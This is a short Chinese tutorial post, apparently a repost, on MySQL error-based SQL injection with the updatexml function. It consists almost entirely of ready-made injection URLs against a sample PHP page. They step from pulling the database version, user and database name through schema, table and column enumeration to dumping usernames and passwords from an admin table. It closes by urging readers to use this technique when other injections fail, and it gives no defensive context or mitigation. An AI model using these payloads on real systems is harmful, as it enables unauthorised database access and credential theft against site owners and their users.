22、注入篇————MYSQL数据库updatexml报错注入

最新推荐文章于 2025-01-17 21:21:05 发布

转载最新推荐文章于 2025-01-17 21:21:05 发布 · 7k 阅读

本文介绍通过 MYSQL 的 updatexml 函数进行 SQL 注入的方法，包括获取数据库版本、用户名、数据库名及表和字段信息等。利用特定构造的 SQL 语句来实现信息泄露。

MYSQL数据库updatexml报错注入

爆数据库版本信息

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

这部分内容可能有写枯燥，但是当你在进行注入时，没有办法时可以考虑此种类型的注入，同时这种类型的注入也不是没有什么特点，注意构造语句的特点就好，一句通，句句通！